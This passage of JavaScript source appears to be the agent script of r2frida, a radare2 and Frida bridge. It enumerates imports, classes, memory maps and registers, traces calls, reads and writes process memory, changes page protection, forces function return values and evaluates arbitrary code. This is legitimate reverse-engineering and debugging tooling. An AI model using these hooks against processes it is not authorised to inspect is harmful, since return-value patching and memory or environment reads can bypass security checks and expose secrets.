return listImportsJson(args).map((x) => {
const flags = [];
if (!seen.has(x.address)) {
seen.add(x.address);
flags.push(`f sym.imp.${x.name} = ${x.address}`);
}
if (x.slot !== undefined) {
flags.push(`f reloc.${x.targetModuleName}.${x.name}_${x.index} = ${x.slot}`);
}
return flags.join('\n');
}).join('\n');
}
function listImportsJson (args) {
const alen = args.length;
let result = [];
let moduleName = null;
if (alen === 2) {
moduleName = args[0];
const importName = args[1];
const imports = Module.enumerateImportsSync(moduleName);
if (imports !== null) {
result = imports.filter((x, i) => {
x.index = i;
return x.name === importName;
});
}
} else if (alen === 1) {
moduleName = args[0];
result = Module.enumerateImportsSync(moduleName) || [];
} else {
const modules = Process.enumerateModulesSync() || [];
if (modules.length > 0) {
moduleName = modules[0].name;
result = Module.enumerateImportsSync(moduleName) || [];
}
}
result.forEach((x, i) => {
if (x.index === undefined) {
x.index = i;
}
x.targetModuleName = moduleName;
});
return result;
}
function listClasses (args) {
const result = listClassesJson(args);
if (result instanceof Array) {
return result.join('\n');
} else {
return Object.keys(result)
.map(methodName => {
const address = result[methodName];
return [padPointer(address), methodName].join(' ');
})
.join('\n');
}
}
function classGlob (k, v) {
if (!k || !v) {
return true;
}
return k.indexOf(v.replace(/\*/g, '')) !== -1;
}
function listClassesR2 (args) {
const className = args[0];
if (args.length === 0 || args[0].indexOf('*') !== -1) {
let methods = '';
for (let cn of Object.keys(ObjC.classes)) {
if (classGlob(cn, args[0])) {
methods += listClassesR2([cn]);
}
}
return methods;
}
const result = listClassesJson(args);
if (result instanceof Array) {
return result.join('\n');
} else {
return Object.keys(result)
.map(methodName => {
const address = result[methodName];
return ['f', flagName(methodName), '=', padPointer(address)].join(' ');
})
.join('\n');
}
function flagName (m) {
return 'sym.objc.' +
(className + '.' + m)
.replace(':', '')
.replace(' ', '')
.replace('-', '')
.replace('+', '');
}
}
/* this ugly sync mehtod with while+settimeout is needed because
returning a promise is not properly handled yet and makes r2
lose track of the output of the command so you cant grep on it */
function listJavaClassesJsonSync (args) {
if (args.length === 1) {
let methods;
/* list methods */
Java.perform(function () {
const obj = Java.use(args[0]);
methods = Object.getOwnPropertyNames(Object.getPrototypeOf(obj));
// methods = Object.keys(obj).map(x => x + ':' + obj[x] );
});
// eslint-disable-next-line
while (methods === undefined) {
/* wait here */
setTimeout(null, 0);
}
return methods;
}
let classes;
/* list all classes */
Java.perform(function () {
try {
classes = Java.enumerateLoadedClassesSync();
} catch (e) {
classes = null;
}
});
// eslint-disable-next-line
while (classes === undefined) {
/* wait here */
setTimeout(null, 0);
}
return classes;
}
// eslint-disable-next-line
function listJavaClassesJson (args) {
return new Promise(function (resolve, reject) {
if (args.length === 1) {
/* list methods */
Java.perform(function () {
var obj = Java.use(args[0]);
resolve(JSON.stringify(obj, null, ' '));
});
return;
}
/* list all classes */
Java.perform(function () {
try {
resolve(Java.enumerateLoadedClassesSync().join('\n'));
} catch (e) {
reject(e);
}
});
});
}
function listClassesJson (args) {
if (JavaAvailable) {
return listJavaClassesJsonSync(args);
// return listJavaClassesJson(args);
}
if (args.length === 0) {
return Object.keys(ObjC.classes);
} else {
const klass = ObjC.classes[args[0]];
if (klass === undefined) {
throw new Error('Class ' + args[0] + ' not found');
}
return klass.$ownMethods
.reduce((result, methodName) => {
try {
result[methodName] = klass[methodName].implementation;
} catch (_) {
console.log('warning: unsupported method \'' + methodName + '\'');
}
return result;
}, {});
}
}
function listProtocols (args) {
return listProtocolsJson(args)
.join('\n');
}
function closeFileDescriptors (args) {
if (args.length === 0) {
return 'Please, provide a file descriptor';
}
return _close(+args[0]);
}
function listFileDescriptors (args) {
if (args.length === 0) {
const statBuf = Memory.alloc(128);
const fds = [];
for (let i = 0; i < 1024; i++) {
if (_fstat(i, statBuf) === 0) {
fds.push(i);
}
}
return fds;
} else {
const rc = _dup2(+args[0], +args[1]);
return rc;
}
}
function listProtocolsJson (args) {
if (args.length === 0) {
return Object.keys(ObjC.protocols);
} else {
const protocol = ObjC.protocols[args[0]];
if (protocol === undefined) {
throw new Error('Protocol not found');
}
return Object.keys(protocol.methods);
}
}
function listMallocMaps (args) {
const heaps = squashRanges(listMallocRangesJson(args));
function inRange (x) {
for (let heap of heaps) {
if (x.base.compare(heap.base) >= 0 &&
x.base.add(x.size).compare(heap.base.add(heap.size))) {
return true;
}
}
return false;
}
return squashRanges(listMemoryRangesJson())
.filter(inRange)
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMallocRangesJson (args) {
return Process.enumerateMallocRangesSync();
}
function listMallocRangesR2 (args) {
const chunks = listMallocRangesJson(args)
.map(_ => 'f chunk.' + _.base + ' ' + _.size + ' ' + _.base).join('\n');
return chunks + squashRanges(listMallocRangesJson(args))
.map(_ => 'f heap.' + _.base + ' ' + _.size + ' ' + _.base).join('\n');
}
function listMallocRanges (args) {
return squashRanges(listMallocRangesJson(args))
.map(_ => '' + _.base + ' - ' + _.base.add(_.size) + ' (' + _.size + ')').join('\n');
}
function listMemoryRangesHere (args) {
if (args.length !== 1) {
args = [ ptr(offset) ];
}
const addr = +args[0];
return listMemoryRangesJson()
.filter(({base, size}) => (addr >= +base && addr < (+base + size)))
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function rwxstr (x) {
let str = '';
str += (x & 1) ? 'r' : '-';
str += (x & 2) ? 'w' : '-';
str += (x & 4) ? 'x' : '-';
return str;
}
function rwxint (x) {
const ops = [ '---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx' ];
return ops.indexOf([x]);
}
function squashRanges (ranges) {
// console.log("SquashRanges");
let res = [];
let begin = ptr(0);
let end = ptr(0);
let lastPerm = 0;
let lastFile = '';
for (let r of ranges) {
lastPerm |= rwxint(r.protection);
if (r.file) {
lastFile = r.file;
}
// console.log("-", r.base, range.base.add(range.size));
if (r.base.equals(end)) {
// enlarge segment
end = end.add(r.size);
// console.log("enlarge", begin, end);
} else {
if (begin.equals(ptr(0))) {
begin = r.base;
end = begin.add(r.size);
// console.log(" set", begin, end);
} else {
// console.log(" append", begin, end);
res.push({base: begin, size: end.sub(begin), protection: rwxstr(lastPerm), file: lastFile});
end = ptr(0);
begin = ptr(0);
lastPerm = 0;
lastFile = '';
}
}
}
if (!begin.equals(ptr(0))) {
res.push({base: begin, size: end.sub(begin), protection: rwxstr(lastPerm), file: lastFile});
}
return res;
}
function listMemoryMaps () {
return squashRanges(listMemoryRangesJson())
.filter(_ => _.file)
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMemoryRangesR2 () {
return listMemoryRangesJson()
.map(({base, size, protection, file}) =>
[
'f', 'map.' + padPointer(base),
'=', base,
// padPointer(base.add(size)),
'#',
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMemoryRanges () {
return listMemoryRangesJson()
.map(({base, size, protection, file}) =>
[
padPointer(base),
'-',
padPointer(base.add(size)),
protection,
]
.concat((file !== undefined) ? [file.path] : [])
.join(' ')
)
.join('\n');
}
function listMemoryRangesJson () {
return Process.enumerateRangesSync({
protection: '---',
coalesce: false
});
}
function changeMemoryProtection (args) {
const [address, size, protection] = args;
Memory.protect(ptr(address), parseInt(size), protection);
return true;
}
function getPid () {
return _getpid();
}
function listThreads () {
return Process.enumerateThreadsSync()
.map(thread => thread.id)
.join('\n');
}
function listThreadsJson () {
return Process.enumerateThreadsSync()
.map(thread => thread.id);
}
function regProfileAliasFor (arch) {
switch (arch) {
case 'arm64':
return `=PC pc
=SP sp
=BP x29
=A0 x0
=A1 x1
=A2 x2
=A3 x3
=ZF zf
=SF nf
=OF vf
=CF cf
=SN x8
`;
break;
case 'arm':
return `=PC r15
=LR r14
=SP sp
=BP fp
=A0 r0
=A1 r1
=A2 r2
=A3 r3
=ZF zf
=SF nf
=OF vf
=CF cf
=SN r7
`;
break;
case 'x64':
return `=PC rip
=SP rsp
=BP rbp
=A0 rdi
=A1 rsi
=A2 rdx
=A3 rcx
=A4 r8
=A5 r9
=SN rax
`;
break;
case 'x86':
return `=PC eip
=SP esp
=BP ebp
=A0 eax
=A1 ebx
=A2 ecx
=A3 edx
=A4 esi
=A5 edi
=SN eax
`;
break;
}
}
function dumpRegisterProfile (args) {
const threads = Process.enumerateThreadsSync();
const thread = threads[0];
const {id, state, context} = thread;
const names = Object.keys(JSON.parse(JSON.stringify(context)))
.filter(_ => _ !== 'pc' && _ !== 'sp');
names.sort(compareRegisterNames);
let off = 0;
const inc = Process.pointerSize;
let profile = regProfileAliasFor(Process.arch);
for (let reg of names) {
profile += `gpr\t${reg}\t${inc}\t${off}\t0\n`;
off += inc;
}
return profile;
}
function dumpRegisterArena (args) {
const threads = Process.enumerateThreadsSync();
let [tidx] = args;
if (!tidx) {
tidx = 0;
}
if (tidx < 0 || tidx >= threads.length) {
return '';
}
const thread = threads[tidx];
const {id, state, context} = thread;
const names = Object.keys(JSON.parse(JSON.stringify(context)))
.filter(_ => _ !== 'pc' && _ !== 'sp');
names.sort(compareRegisterNames);
let off = 0;
const inc = Process.pointerSize;
let buf = Buffer.alloc(inc * names.length);
for (let reg of names) {
const r = context[reg];
let b = [r.and(0xff),
r.shr(8).and(0xff),
r.shr(16).and(0xff),
r.shr(24).and(0xff),
r.shr(32).and(0xff),
r.shr(40).and(0xff),
r.shr(48).and(0xff),
r.shr(56).and(0xff)];
for (let i = 0; i < inc; i++) {
buf.writeUInt8(b[i], off + i);
}
off += inc;
}
return buf.toString('hex');
}
function dumpRegistersR2 (args) {
const threads = Process.enumerateThreadsSync();
let [tidx] = args;
if (!tidx) {
tidx = 0;
}
if (tidx < 0 || tidx >= threads.length) {
return '';
}
const thread = threads[tidx];
const {id, state, context} = thread;
const names = Object.keys(JSON.parse(JSON.stringify(context)));
names.sort(compareRegisterNames);
const values = names
.map((name, index) => {
if (name === 'pc' || name === 'sp') return '';
const value = context[name] || 0;
return `ar ${name} = ${value}\n`;
});
return values.join('');
}
function dumpRegisters () {
return Process.enumerateThreadsSync()
.map(thread => {
const {id, state, context} = thread;
const heading = `tid ${id} ${state}`;
const names = Object.keys(JSON.parse(JSON.stringify(context)));
names.sort(compareRegisterNames);
const values = names
.map((name, index) => alignRight(name, 3) + ' : ' + padPointer(context[name]))
.map(indent);
return heading + '\n' + values.join('');
})
.join('\n\n');
}
function dumpRegistersJson () {
return Process.enumerateThreadsSync();
}
function getOrSetEnv (args) {
if (args.length === 0) {
return getEnv().join('\n');
}
const {key, value} = getOrSetEnvJson(args);
return key + '=' + value;
}
function getOrSetEnvJson (args) {
if (args.length === 0) {
return getEnvJson();
}
const kv = args.join('');
const eq = kv.indexOf('=');
if (eq !== -1) {
const k = kv.substring(0, eq);
const v = kv.substring(eq + 1);
setenv(k, v, true);
return {
key: k,
value: v
};
} else {
return {
key: kv,
value: getenv(kv)
};
}
}
function getEnv () {
const result = [];
let envp = Memory.readPointer(Module.findExportByName(null, 'environ'));
let env;
while (!envp.isNull() && !(env = Memory.readPointer(envp)).isNull()) {
result.push(Memory.readCString(env));
envp = envp.add(Process.pointerSize);
}
return result;
}
function getEnvJson () {
return getEnv().map(kv => {
const eq = kv.indexOf('=');
return {
key: kv.substring(0, eq),
value: kv.substring(eq + 1)
};
});
}
function dlopen (args) {
const path = args[0];
const handle = _dlopen(Memory.allocUtf8String(path), RTLD_GLOBAL | RTLD_LAZY);
if (handle.isNull()) {
throw new Error('Failed to load: ' + path);
}
return handle.toString();
}
function formatArgs (args, fmt) {
const a = [];
let j = 0;
for (let i = 0; i < fmt.length; i++, j++) {
const arg = args[j];
switch (fmt[i]) {
case '+':
case '^':
j--;
break;
case 'x':
a.push('' + ptr(arg));
break;
case 'c':
a.push("'" + arg + "'");
break;
case 'i':
a.push(+arg);
break;
case 'z': // *s
const s = _readUntrustedUtf8(arg);
a.push(JSON.stringify(s));
break;
case 'Z': // *s[i]
const len = +args[j + 1];
const str = _readUntrustedUtf8(arg, len);
a.push(JSON.stringify(str));
break;
case 'O':
if (ObjC.available) {
if (!arg.isNull()) {
const o = new ObjC.Object(arg);
a.push(`${o.$className}: "${o.toString()}"`);
} else {
a.push('nil');
}
} else {
a.push(arg);
}
break;
default:
a.push(arg);
break;
}
}
return a;
}
function _readUntrustedUtf8 (address, length) {
try {
return Memory.readUtf8String(ptr(address), length);
} catch (e) {
if (e.message !== 'invalid UTF-8') {
throw e;
}
return '(invalid utf8)';
}
}
function traceList () {
return traceListeners.map(_ => {
return _.at.address + '\t' + _.at.moduleName + '\t' + _.at.name;
}).join('\n');
}
function traceListJson () {
return traceListeners.map(_ => JSON.stringify(_)).join('\n');
}
function getPtr (p) {
p = p.trim();
if (!p || p === '$$') {
return ptr(offset);
}
try {
if (p.substring(0, 2) === '0x') {
return ptr(p);
}
} catch (e) {
// console.error(e);
}
// return DebugSymbol.fromAddress(ptr_p) || '' + ptr_p;
return Module.findExportByName(null, p);
}
function traceHook (args) {
if (args.length === 0) {
return JSON.stringify(tracehooks, null, 2);
}
var arg = args[0];
if (arg !== undefined) {
tracehookSet(arg, args.slice(1).join(' '));
}
return '';
}
function traceFormat (args) {
if (args.length === 0) {
return traceList();
}
let address, format;
if (args.length === 2) {
address = '' + getPtr(args[0]);
format = args[1];
} else {
address = offset;
format = args[0];
}
const traceOnEnter = format.indexOf('^') !== -1;
const traceBacktrace = format.indexOf('+') !== -1;
const at = nameFromAddress(address);
const listener = Interceptor.attach(ptr(address), {
myArgs: [],
myBacktrace: [],
onEnter: function (args) {
this.myArgs = formatArgs(args, format);
if (traceBacktrace) {
this.myBacktrace = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
}
if (traceOnEnter) {
console.log(at, this.myArgs);
if (traceBacktrace) {
console.log(this.myBacktrace.join('\n '));
}
}
},
onLeave: function (retval) {
if (!traceOnEnter) {
console.log(at, this.myArgs, '=', retval);
if (traceBacktrace) {
console.log(this.myBacktrace.join('\n '));
}
}
}
});
traceListeners.push({
at: at,
format: format,
listener: listener
});
return true;
}
function backtrace (args) {
return 'TODO';
}
var log = '';
var traces = {};
function traceLogDump () {
return log;
}
function traceLogClear () {
const output = log;
log = '';
traces = {};
return output;
}
function traceLog (msg) {
if (typeof msg === 'string') {
log += msg + '\n';
return;
}
return traceLogClear();
}
function traceRegs (args) {
if (args.length < 1) {
return 'Usage: dtr [address] [reg ...]';
}
const address = getPtr(args[0]);
const rest = args.slice(1);
const listener = Interceptor.attach(address, traceFunction);
function traceFunction (_) {
const extra = (args[0] !== address) ? ` (${args[0]})` : '';
const at = nameFromAddress(address);
console.log(`\nTrace probe hit at ${address} ${extra} ${at}`);
console.log('\t' + rest.map(r => {
let tail = '';
if (r.indexOf('=') !== -1) {
const kv = r.split('=');
this.context[kv[0]] = ptr(kv[1]);
} else {
const rv = ptr(this.context[r]);
try {
tail = Memory.readCString(rv);
if (tail) {
tail = ' (' + tail + ')';
}
} catch (e) {
tail = '';
}
}
return r + ' = ' + this.context[r] + tail;
}).join('\n\t'));
/* TODO: do we want to show backtrace too? */
const showBacktrace = false;
if (showBacktrace) {
const bt = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
console.log(bt.join('\n\t'));
}
}
traceListeners.push({
at: address,
listener: listener,
args: rest
});
return '';
}
function traceHere () {
const args = [ offset ];
args.forEach(address => {
const at = DebugSymbol.fromAddress(ptr(address)) || '' + ptr(address);
const listener = Interceptor.attach(ptr(address), function () {
const bt = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
const at = nameFromAddress(address);
console.log('Trace probe hit at ' + address + '::' + at + '\n\t' + bt.join('\n\t'));
});
traceListeners.push({
at: at,
listener: listener
});
});
return true;
}
function traceR2 (args) {
return traceListeners.map(_ => `CC ${_.args} @ ${_.at}`).join('\n');
}
function traceJava (klass, method) {
Java.perform(function () {
var Throwable = Java.use('java.lang.Throwable');
var Activity = Java.use('android.app.Activity');
Activity.onResume.implementation = function () {
console.log('[*] onResume() got called!');
this.onResume();
const message = Throwable.$new().getStackTrace().map(_ => _.toString()).join('\n');
console.log('BACKTRACE', message);
};
});
}
function traceJson (args) {
if (args.length === 0) {
return traceListJson();
}
return new Promise(function (resolve, reject) {
(function pull () {
var arg = args.pop();
if (arg === undefined) {
return resolve('');
}
numEval(arg).then(function (at) {
console.log(traceReal(['' + at]));
pull();
}).catch(reject);
})();
});
}
function trace (args) {
if (args.length === 0) {
return traceList();
}
return traceJson(args);
}
var tracehooks = {};
function tracehookSet(name, format, callback) {
if (name === null) {
console.error('Cannot resolve name for ' + address);
return false;
}
tracehooks[name] = {
format: format,
callback: callback
};
return true;
}
function arrayBufferToHex (arrayBuffer) {
if (typeof arrayBuffer !== 'object' || arrayBuffer === null || typeof arrayBuffer.byteLength !== 'number') {
throw new TypeError('Expected input to be an ArrayBuffer')
}
var view = new Uint8Array(arrayBuffer)
var result = ''
var value
for (var i = 0; i < view.length; i++) {
value = view[i].toString(16)
result += (value.length === 1 ? '0' + value : value)
}
return result
}
// \dth printf 0,1
function tracehook(address, args) {
const at = nameFromAddress(address);
const th = tracehooks[at];
var fmtarg = [];
if (th && th.format) {
for (let fmt of th.format.split(' ')) {
var [k, v] = fmt.split(':');
switch (k) {
case 'i':
//console.log('int', args[v]);
fmtarg.push(+args[v]);
break;
case 's':
var [a, l] = v.split(',');
var addr = ptr(args[a]);
var size = +args[l];
var buf = Memory.readByteArray(addr, size);
//console.log('buf', arrayBufferToHex(buf));
//console.log('string', Memory.readCString(addr, size));
fmtarg.push(Memory.readCString(addr, size));
break;
case 'z':
//console.log('string', Memory.readCString(args[+v]));
fmtarg.push(Memory.readCString(ptr(args[+v])));
break;
case 'v':
var [a, l] = v.split(',');
var addr = ptr(args[a]);
var buf = Memory.readByteArray(addr, +args[l]);
//console.log('buf', arrayBufferToHex(buf));
fmtarg.push(Memory.readCString(ptr(args[+v])));
break;
}
}
}
console.log('[TRACE]', address, '(', at, ')', JSON.stringify(fmtarg));
}
function traceReal (args) {
if (args.length === 0) {
return traceList();
}
args.forEach(address => {
if (address.startsWith('java:')) {
const dot = address.lastIndexOf('.');
if (dot !== -1) {
const klass = address.substring(5, dot);
const methd = address.substring(dot + 1);
traceJava(klass, methd);
} else {
console.log('Invalid java method name. Use \\dt java:package.class.method');
}
return;
}
const at = DebugSymbol.fromAddress(ptr(address)) || '' + ptr(address);
for (var i in traceListeners) {
if (traceListeners[i].at === at) {
console.error('There\'s a trace already in this address');
return;
}
}
const listener = Interceptor.attach(ptr(address), function (args) {
tracehook(address, args);
const frames = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
traceLog('f trace.' + address + ' = ' + address);
var prev = address;
traceLog('agn ' + prev);
for (let i in frames) {
var frame = frames[i];
var addr = ('' + frame).split(' ')[0];
console.log(' - ' + frame);
traceLog('f trace.for.' + address + '.from.' + addr + ' = ' + prev);
if (!traces[prev + addr]) {
traceLog('agn ' + addr);
traceLog('agn ' + prev);
traceLog('age ' + prev + ' ' + addr);
traces[prev + addr] = true;
}
prev = addr;
}
});
traceListeners.push({
at: at,
listener: listener
});
});
}
// return true;
function clearTrace (args) {
traceListeners.splice(0).forEach(lo => lo.listener.detach());
return '';
}
function interceptHelp (args) {
return 'Usage: di0, di1 or do-1 passing as argument the address to intercept';
}
function interceptRet0 (args) {
const p = ptr(args[0]);
Interceptor.attach(p, {
onLeave (retval) {
retval.replace(ptr('0'));
}
});
}
function interceptRet1 (args) {
const p = ptr(args[0]);
Interceptor.attach(p, {
onLeave (retval) {
retval.replace(ptr('1'));
}
});
}
function interceptRet_1 (args) { // eslint-disable-line
const p = ptr(args[0]);
Interceptor.attach(p, {
onLeave (retval) {
retval.replace(ptr('-1'));
}
});
}
function getenv (name) {
return Memory.readUtf8String(_getenv(Memory.allocUtf8String(name)));
}
function setenv (name, value, overwrite) {
return _setenv(Memory.allocUtf8String(name), Memory.allocUtf8String(value), overwrite ? 1 : 0);
}
function stalkTraceFunction (args) {
return _stalkTraceSomething(_stalkFunctionAndGetEvents, args);
}
function stalkTraceFunctionR2 (args) {
return _stalkTraceSomethingR2(_stalkFunctionAndGetEvents, args);
}
function stalkTraceFunctionJson (args) {
return _stalkTraceSomethingJson(_stalkFunctionAndGetEvents, args);
}
function stalkTraceEverything (args) {
return _stalkTraceSomething(_stalkEverythingAndGetEvents, args);
}
function stalkTraceEverythingR2 (args) {
return _stalkTraceSomethingR2(_stalkEverythingAndGetEvents, args);
}
function stalkTraceEverythingJson (args) {
return _stalkTraceSomethingJson(_stalkEverythingAndGetEvents, args);
}
function _stalkTraceSomething (getEvents, args) {
return getEvents(args, (isBlock, events) => {
let previousSymbolName;
const result = [];
const threads = Object.keys(events);
for (const threadId of threads) {
result.push(`; --- thread ${threadId} --- ;`);
if (isBlock) {
result.push(..._mapBlockEvents(events[threadId], (address) => {
const pd = disasmOne(address, previousSymbolName);
previousSymbolName = getSymbolName(address);
return pd;
}, (begin, end) => {
previousSymbolName = null;
return '';
}));
} else {
result.push(...events[threadId].map((event) => {
const address = event[0];
const target = event[1];
const pd = disasmOne(address, previousSymbolName, target);
previousSymbolName = getSymbolName(address);
return pd;
}));
}
}
return result.join('\n');
});
function disasmOne (address, previousSymbolName, target) {
let pd = disasm(address, 1, previousSymbolName);
if (pd.charAt(pd.length - 1) === '\n') {
pd = pd.slice(0, -1);
}
if (target) {
pd += ` ; ${target} ${getSymbolName(target)}`;
}
return pd;
}
}
function _stalkTraceSomethingR2 (getEvents, args) {
return getEvents(args, (isBlock, events) => {
const result = [];
const threads = Object.keys(events);
for (const threadId of threads) {
if (isBlock) {
result.push(..._mapBlockEvents(events[threadId], (address) => {
return `dt+ ${address} 1`;
}));
} else {
result.push(...events[threadId].map((event) => {
const commands = [];
const location = event[0];
commands.push(`dt+ ${location} 1`);
const target = event[1];
if (target) {
commands.push(`CC ${target} ${getSymbolName(target)} @ ${location}`);
}
return commands.join('\n');
}));
}
}
return result.join('\n');
});
}
function _stalkTraceSomethingJson (getEvents, args) {
return getEvents(args, (isBlock, events) => {
const result = {
event: config['stalker.event'],
threads: events
};
return result;
});
}
function _stalkFunctionAndGetEvents (args, eventsHandler) {
_requireFridaVersion(10, 3, 13);
const at = getPtr(args[0]);
const conf = {
event: config['stalker.event'],
timeout: config['stalker.timeout'],
stalkin: config['stalker.in']
};
const isBlock = conf.event === 'block' || conf.event === 'compile';
const operation = stalkFunction(conf, at)
.then((events) => {
return eventsHandler(isBlock, events);
});
breakpointContinue([]);
return operation;
}
function _stalkEverythingAndGetEvents (args, eventsHandler) {
_requireFridaVersion(10, 3, 13);
const timeout = (args.length > 0) ? +args[0] : null;
const conf = {
event: config['stalker.event'],
timeout: config['stalker.timeout'],
stalkin: config['stalker.in']
};
const isBlock = conf.event === 'block' || conf.event === 'compile';
const operation = stalkEverything(conf, timeout)
.then((events) => {
return eventsHandler(isBlock, events);
});
breakpointContinue([]);
return operation;
}
function getSymbolName (address) {
const ds = DebugSymbol.fromAddress(address);
return (ds.name === null || ds.name.indexOf('0x') === 0) ? '' : ds.name;
}
function _requireFridaVersion (major, minor, patch) {
const required = [major, minor, patch];
const actual = Frida.version.split('.');
for (let i = 0; i < actual.length; i++) {
if (actual[i] > required[i]) {
return;
}
if (actual[i] < required[i]) {
throw new Error(`Frida v${major}.${minor}.${patch} or higher required for this (you have v${Frida.version}).`);
}
}
}
function _mapBlockEvents (events, onInstruction, onBlock) {
const result = [];
events.forEach(([begin, end]) => {
if (typeof onBlock === 'function') {
result.push(onBlock(begin, end));
}
let cursor = begin;
while (cursor < end) {
const [instr, next] = _tolerantInstructionParse(cursor);
if (instr !== null) {
result.push(onInstruction(cursor));
}
cursor = next;
}
});
return result;
}
function _tolerantInstructionParse (address) {
let instr = null;
let cursor = address;
try {
instr = Instruction.parse(cursor);
cursor = instr.next;
} catch (e) {
if (e.message !== 'invalid instruction' &&
e.message !== `access violation accessing ${cursor}`) {
throw e;
}
// skip invalid instructions
console.log(`warning: error parsing instruction @ ${cursor}`);
switch (Process.arch) {
case 'arm64':
cursor = cursor.add(4);
break;
case 'arm':
cursor = cursor.add(2);
break;
default:
cursor = cursor.add(1);
break;
}
}
return [instr, cursor];
}
function compareRegisterNames (lhs, rhs) {
const lhsIndex = parseRegisterIndex(lhs);
const rhsIndex = parseRegisterIndex(rhs);
const lhsHasIndex = lhsIndex !== null;
const rhsHasIndex = rhsIndex !== null;
if (lhsHasIndex && rhsHasIndex) {
return lhsIndex - rhsIndex;
}
if (lhsHasIndex === rhsHasIndex) {
const lhsLength = lhs.length;
const rhsLength = rhs.length;
if (lhsLength === rhsLength) {
return lhs.localeCompare(rhs);
}
if (lhsLength > rhsLength) {
return 1;
}
return -1;
}
if (lhsHasIndex) {
return 1;
}
return -1;
}
function parseRegisterIndex (name) {
const length = name.length;
for (let index = 1; index < length; index++) {
const value = parseInt(name.substr(index));
if (!isNaN(value)) {
return value;
}
}
return null;
}
function indent (message, index) {
if (index === 0) {
return message;
}
if ((index % 3) === 0) {
return '\n' + message;
}
return '\t' + message;
}
function alignRight (text, width) {
let result = text;
while (result.length < width) {
result = ' ' + result;
}
return result;
}
function padPointer (value) {
let result = value.toString(16);
const paddedLength = 2 * pointerSize;
while (result.length < paddedLength) {
result = '0' + result;
}
return '0x' + result;
}
const requestHandlers = {
read: read,
write: write,
state: state,
perform: perform,
evaluate: evaluate,
};
function read (params) {
const {offset, count} = params;
if (r2frida.hookedRead !== null) {
return r2frida.hookedRead(offset, count);
}
try {
const bytes = Memory.readByteArray(ptr(offset), count);
return [{}, (bytes !== null) ? bytes : []];
} catch (e) {
return [{}, []];
}
}
function isTrue (x) {
return (x === true || x === 1 || x === 'true');
}
function write (params, data) {
if (typeof r2frida.hookedWrite === 'function') {
return r2frida.hookedWrite(params.offset, data);
}
if (isTrue(config['patch.code'])) {
if (typeof Memory.patchCode !== 'function') {
Memory.writeByteArray(ptr(params.offset), data);
} else {
Memory.patchCode(ptr(params.offset), 1, function (ptr) {
Memory.writeByteArray(ptr, data);
});
}
} else {
Memory.writeByteArray(ptr(params.offset), data);
}
return [{}, null];
}
function state (params, data) {
offset = params.offset;
suspended = params.suspended;
return [{}, null];
}
function perform (params) {
const {command} = params;
const tokens = command.split(/ /);
const [name, ...args] = tokens;
/*
if (name.endsWith('?') && name !== 'e?') {
console.error('TODO: show help of \\?~' + name.substring(0, name.length - 1));
return;
}
*/
const userHandler = global.r2frida.commandHandler(name);
const handler = userHandler !== undefined
? userHandler : commandHandlers[name];
if (handler === undefined) {
throw new Error('Unhandled command: ' + name);
}
const value = handler(args);
if (value instanceof Promise) {
return value.then(output => {
return [{
value: (typeof output === 'string') ? output : JSON.stringify(output)
}, null];
});
}
return [{
value: (typeof value === 'string') ? value : JSON.stringify(value)
}, null];
}
function evaluate (params) {
return new Promise(resolve => {
const {code} = params;
if (ObjCAvailable && !suspended) {
ObjC.schedule(ObjC.mainQueue, performEval);
} else {
performEval();
}
function performEval () {
let result;
try {
const rawResult = (1, eval)(code); // eslint-disable-line
global._ = rawResult;
if (rawResult !== undefined && mjolner !== undefined) {
result = mjolner.toCYON(rawResult);
} else {
result = 'undefined';
}
} catch (e) {
result = 'throw new ' + e.name + '("' + e.message + '")';
}
resolve([{
value: result
}, null]);
}
});
}
if (ObjCAvailable) {
mjolner.register();
}
Script.setGlobalAccessHandler({
enumerate () {
return [];
},
get (property) {
if (mjolner !== undefined) {
let result = mjolner.lookup(property);
if (result !== null) {
return result;
}
}
}
});
function fridaVersion () {
return { version: Frida.version };
}
function search (args) {
return searchJson(args).then(hits => {
return _readableHits(hits);
});
}
function searchJson (args) {
const pattern = _toHexPairs(args.join(' '));
return _searchPatternJson(pattern).then(hits => {
hits.forEach(hit => {
try {
const bytes = Memory.readByteArray(hit.address, 60);
hit.content = _filterPrintable(bytes);
} catch (e) {
}
});
return hits.filter(hit => hit.content !== undefined);
});
}
function searchHex (args) {
return searchHexJson(args).then(hits => {
return _readableHits(hits);
});
}
function searchHexJson (args) {
const pattern = _normHexPairs(args.join(''));
return _searchPatternJson(pattern).then(hits => {
hits.forEach(hit => {
const bytes = Memory.readByteArray(hit.address, hit.size);
hit.content = _byteArrayToHex(bytes);
});
return hits;
});
}
function searchWide (args) {
return searchWideJson(args).then(hits => {
return _readableHits(hits);
});
}
function searchWideJson (args) {
const pattern = _toWidePairs(args.join(' '));
return searchHexJson([pattern]);
}
function searchValueImpl (width) {
return function (args) {
return searchValueJson(args, width).then(hits => {
return _readableHits(hits);
});
};
}
function searchValueImplJson (width) {
return function (args) {
return searchValueJson(args, width);
};
}
function searchValueJson (args, width) {
let value;
try {
value = uint64(args.join(''));
} catch (e) {
return new Promise((resolve, reject) => reject(e));
}
return hostCmdj('ej')
.then(config => {
const bigEndian = config['cfg.bigendian'];
const bytes = _renderEndian(value, bigEndian, width);
return searchHexJson([_toHexPairs(bytes)]);
});
}
function _renderEndian (value, bigEndian, width) {
const bytes = [];
for (let i = 0; i !== width; i++) {
if (bigEndian) {
bytes.push(value.shr((width - i - 1) * 8).and(0xff).toNumber());
} else {
bytes.push(value.shr(i * 8).and(0xff).toNumber());
}
}
return bytes;
}
function _byteArrayToHex (arr) {
const u8arr = new Uint8Array(arr);
const hexs = [];
for (let i = 0; i !== u8arr.length; i += 1) {
const h = u8arr[i].toString(16);
hexs.push((h.length === 2) ? h : `0${h}`);
}
return hexs.join('');
}
const minPrintable = ' '.charCodeAt(0);
